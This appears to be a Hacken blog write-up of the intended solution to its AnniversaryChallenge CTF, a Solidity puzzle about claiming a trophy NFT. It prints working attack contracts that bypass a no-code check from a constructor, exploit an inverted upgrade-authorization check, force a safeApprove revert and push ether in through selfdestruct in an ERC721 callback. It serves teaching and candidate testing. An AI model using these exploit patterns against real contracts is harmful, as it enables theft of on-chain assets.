The AnniversaryChallenge CTF was created with a dual purpose: to celebrate Hacken’s 7th anniversary and test the Solidity and EVM skills of potential newcomers. With this in mind, a multi-step exploit was implemented to solve the challenge. Thus, candidates were expected to:
The CTF’s objective was to collect the TrophyNFT ERC721
token with Id 1 held by the AnniversaryChallenge
smart contract. This article presents a write-up of how this can be achieved with the intended solution.
We have already announced the winners, but for those who still want to take on the challenge, the CTF is available at https://github.com/hknio/anniversary-ctf.
Alert: If you plan to solve the challenge on your own, stop here to avoid spoilers. Continue reading if you’re ready to discover our intended solution.
Currently, two main testing frameworks are frequently used: Hardhat and Foundry. Both have their pros and cons. Hardhat is written in JavaScript and provides access to multiple useful libraries and extensions. On the other hand, Foundry allows writing tests in the native Solidity language; however, it is limited to the functionality provided by Solidity itself. Running and testing code dynamically is essential for assessing the code’s business logic and security controls. At Hacken, all auditors possess this fundamental skill, and the same is expected from potential candidates. For this challenge, the Foundry framework was to be used.
An AnniversaryChallengeTest.t.sol file with single unit test test_claimTrophy was prepared in advance for the participants. It was expected to extend the test with the written exploit. Within the file, such comment can be observed:
// Rules:
// 1. Use ethereum fork.
// 2. Use 20486120 block.
...
So, firstly, it was expected to run the test with the correct fork and block number:
forge test --fork-url [URL] --fork-block-number 20486120
Here, [URL]
is a valid Ethereum RPC API endpoint. This step was required as we can observe within the SimpleStrategy.sol file that the strategy is using a real vault and the actual USDC token.
Within the claimTrophy
function, the first assertion can be observed: It requires the message sender to have no code. In other words, it cannot be a smart contract, as a smart contract should definitely have some code. Thus, this assertion prevents us from writing and executing any exploit, and EOA is expected to be the sender.
function claimTrophy(address receiver, uint256 amount) public {
require(msg.sender.code.length == 0, "No contractcs.");
...
However, there is a simple bypass for this assertion: whenever the smart contract is deployed, and the constructor is executed, the code property for the particular address is not yet updated. Thus, we can prepare our exploit and execute it within the constructor of a smart contract.
import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";
contract AnniversaryChallengeAttack {
AnniversaryChallenge public anniversaryChallenge;
constructor(AnniversaryChallenge _anniversaryChallenge) payable {
anniversaryChallenge = _anniversaryChallenge;
...
}
}
Let’s focus for a second on a digression: if such an assertion is flawed, how can we prevent contracts from calling our contract? Well, there is a solution, but let’s leave it for pleasant, individual research.
The next assertion ensures that the contract’s native token balance is empty. It simply means that no prior deposit is allowed. Let’s leave this one now and get back to it later.
Next, we encounter a try-catch block. The code first attempts to increase the allowance for SimpleStrategy
using the safeApprove
function. If this operation is successful, the deployFunds
function is executed, and the process concludes, which does not meet our objective. However, in the catch block, the actual transfer of the NFT to the receiver takes place. Therefore, we need to find a way to trigger an error and execute the catch block. So, how can we cause the safeApprove
function to throw an error?
function claimTrophy(address receiver, uint256 amount) public {
require(msg.sender.code.length == 0, "No contractcs.");
require(address(this).balance == 0, "No treasury.");
try AnniversaryChallenge(address(this)).externalSafeApprove(amount) returns (bool) {
simpleStrategy.deployFunds(amount);
} catch {
trophyNFT.safeTransferFrom(address(this), receiver, 1);
require(address(this).balance > 0 wei, "Nothing is for free.");
}
}
function externalSafeApprove(uint256 amount) external returns (bool) {
assert(msg.sender == address(this));
IERC20(simpleStrategy.usdcAddress()).safeApprove(address(simpleStrategy), amount);
return true;
}
This part tests another important skill: looking beyond the task scope and the necessity of checking the dependencies. The safeApprove
function is implemented in OpenZeppelin’s SafeERC20 library, and the code must be investigated before moving forward.
But which version of the library should we verify? By using the git submodule status command
, we can see that version 4.8.0
of the OpenZeppelin libraries is being used.
git submodule status
1714bee72e286e73f76e320d110e0eaf5c4e649d lib/forge-std (v1.9.2)
49c0e4370d0cc50ea6090709e3835a3091e33ee2 lib/openzeppelin-contracts (v4.8.0)
65420cb9c943c32eb7e8c9da60183a413d90067a lib/openzeppelin-contracts-upgradeable (v4.8.0)
Version 4.8.0
contains a significant flaw in the safeApprove
function implementation. It requires that the allowance for a spender be set to 0
before it can be modified. This becomes problematic when a protocol uses this function to approve funds for a third-party solution, as there is no guarantee that the entire allowance will be consumed at once. If any amount remains unspent, a subsequent call to safeApprove
with the same logic will revert, showing the error: ‘SafeERC20: approve from non-zero to non-zero allowance,’ which can result in a permanent denial of service.
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
The newest version of the library has this function removed. Instead, the forceApprove
was implemented.
So now, we have to leverage this feature to our benefit. We have to enforce the SimpleStrategy
contract to avoid using all the allowance.
Upon examining the code of the SimpleStrategy
contract, we can notice that the deployFunds
function and the vault do consume all allowance provided. We may investigate as well how the vault handles the deposit. However, the CTF rule states that deal usage is forbidden. Thus, we cannot mint an infinite amount of USDC tokens to overflow the threshold. Also, it is not certain how the vault would handle such a situation.
function deployFunds(uint256 amount) external returns (uint256 shares) {
require(amount > 0, "Zero amount not allowed.");
balances[msg.sender] += amount;
IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);
IERC20(usdcAddress).safeApprove(vault, amount);
shares = IERC4626(vault).deposit(amount, address(this));
}
The SimpleStrategy contract is actually a UUPSUpgradeable
, thus it is upgradeable. Assuming we can upgrade the code, we may alter the implementation to not consume allowance at all within the deployFunds
function. Then, every subsequent call to the claimTrophy
function should throw an error upon attempting to call the externalSafeApprove
function, and then we could enter the catch block.
The _authorizeUpgrade
function is actually protected by the assertion. However, this logical comparison is inverted. The code implements the opposite intention: everyone except the owner can upgrade the code.
function _authorizeUpgrade(address newImplementation) internal override {
require(owner != msg.sender, "Not an owner.");
}
This step checks whether participants know the specifics of upgradable contracts and can identify simple business logic flaws.
The code of our exploit should look like this now:
contract AnniversaryChallengeAttack {
AnniversaryChallenge public anniversaryChallenge;
constructor(AnniversaryChallenge _anniversaryChallenge) payable {
anniversaryChallenge = _anniversaryChallenge;
SimpleStrategyFake simpleStrategyFake = new SimpleStrategyFake();
anniversaryChallenge.simpleStrategy().upgradeTo(address(simpleStrategyFake));
anniversaryChallenge.claimTrophy(address(this), 1e6 / 2);
anniversaryChallenge.claimTrophy(address(this), 1e6 / 2);
}
}
We deploy a new implementation for the SimpleStrategy instance: SimpleStrategyFake. This code must intentionally not consume the given allowance. Then, we upgrade the contract. Lastly, we call the claimTrohy
function twice: first, to set the allowance without consuming it, and second, to trigger an error and enter the catch block.
The code of the SimpleStrategyFake
is omitted.
We now know how to enter the catch block. However, there is another hurdle to overcome. At the beginning of the claimTrophy
function, we can observe that no prior deposit of native tokens is allowed. However, later in the execution, another assertion demands that we transfer at least 1 wei
to the contract. To overcome this, two facts must be connected and leveraged.
function claimTrophy(address receiver, uint256 amount) public {
...
require(address(this).balance == 0, "No treasury.");
try AnniversaryChallenge(address(this)).externalSafeApprove(amount) returns (bool) {
...
} catch {
trophyNFT.safeTransferFrom(address(this), receiver, 1);
require(address(this).balance > 0 wei, "Nothing is for free.");
}
}
...
Firstly, there is no possibility to prevent sending funds to the smart contract. Even if a particular contract has no receive
and fallback
functions, and none of the public/external
functions are marked with a payable modifier; this cannot be prevented. The selfdestruct
function sends all remaining native tokens stored in the contract to a designated address. And it does it despite the fact it is marked as deprecated and the EIP-6780 introduced in Solidity 0.8.24. So we have to deploy a contract, fund it, and then selfdestruct
it to transfer funds to the AnniversaryChallenge
instance, and all that at the right moment.
The example contract that accepts native tokens and calls the selftdestruct
function is presented below.
contract AnniversaryChallengeAttackDestroyer {
AnniversaryChallenge public anniversaryChallenge;
constructor(AnniversaryChallenge _anniversaryChallenge) payable {
anniversaryChallenge = _anniversaryChallenge;
}
function attack() public payable {
selfdestruct(payable(address(anniversaryChallenge)));
}
}
Secondly, the TrophyNFT is OpenZeppelin’s ERC721. As such, it is compliant with EIP-721 and implements the onERC721Received
callback. So, whenever we receive the NFT by means of the safeTransferFrom
function, the calling function calls the caller’s onERC721Received
callback, to confirm whether the caller is capable of handling NFT. Ultimately, this is the right moment when we can send some funds to the AnniversaryChallenge
instance.
This step simply checks the candidate’s knowledge about various EIPs and extraordinary opcodes.
The example contract that implements the IERC721Receiver
interface and onERC721Received callback
function is presented below.
contract AnniversaryChallengeAttackERC721Receiver is IERC721Receiver {
address public player;
AnniversaryChallenge public anniversaryChallenge;
AnniversaryChallengeAttackDestroyer public anniversaryChallengeAttackDestroyer;
constructor(AnniversaryChallenge _anniversaryChallenge, AnniversaryChallengeAttackDestroyer _anniversaryChallengeAttackDestroyer, address _player) {
anniversaryChallengeAttackDestroyer = _anniversaryChallengeAttackDestroyer;
anniversaryChallenge = _anniversaryChallenge;
player = _player;
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
anniversaryChallengeAttackDestroyer.attack();
return IERC721Receiver.onERC721Received.selector;
}
}
The final code of the exploit is presented below. In addition to the previous code, we now deploy both AnniversaryChallengeAttackDestroyer
and AnniversaryChallengeAttackERC721Receiver
instances. Then, in the second claimTrophy
, we set anniversaryChallengeAttackERC721Receiver
as a receiver of the trophy.
contract AnniversaryChallengeAttack {
AnniversaryChallenge public anniversaryChallenge;
constructor(AnniversaryChallenge _anniversaryChallenge) payable {
anniversaryChallenge = _anniversaryChallenge;
AnniversaryChallengeAttackDestroyer anniversaryChallengeAttackDestroyer
= new AnniversaryChallengeAttackDestroyer{value: msg.value}(_anniversaryChallenge);
AnniversaryChallengeAttackERC721Receiver anniversaryChallengeAttackERC721Receiver
= new AnniversaryChallengeAttackERC721Receiver(_anniversaryChallenge, anniversaryChallengeAttackDestroyer, msg.sender);
SimpleStrategyFake simpleStrategyFake = new SimpleStrategyFake();
anniversaryChallenge.simpleStrategy().upgradeTo(address(simpleStrategyFake));
anniversaryChallenge.claimTrophy(address(anniversaryChallengeAttackERC721Receiver), 1e6 / 2);
anniversaryChallenge.claimTrophy(address(anniversaryChallengeAttackERC721Receiver), 1e6 / 2);
}
}
At this point, it might be a little bit twisted, doesn’t it? That is correct; to capture the flag, multiple contracts must be involved. However, one more step is required to collect the trophy. As we have to use the onERC721Received
callback function to trigger self-destruction, the NFT token is now held by the contract under our control. Thus, lastly, we have to transfer it to the player
‘s address.
This one last tiny step ensures that the candidate has full control over both the tested solution and the prepared exploit.
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
anniversaryChallenge.trophyNFT().safeTransferFrom(address(this), player, 1);
anniversaryChallengeAttackDestroyer.attack();
return IERC721Receiver.onERC721Received.selector;
}
Follow @hackenclub on 𝕏 (Twitter)
The AnniversaryChallenge was a multistep CTF carefully prepared to test candidates’ various aspects of Solidity and EVM knowledge. It was a riddle that enforced thinking outside the box and checking multiple corners, searching for the right solution for a given problem.
Congratulations to all solvers for their determination and perseverance.
Be the first to receive our latest company updates, Web3 security insights, and exclusive content curated for the blockchain enthusiasts.
Table of contents
Tell us about your project
26 min read
Insights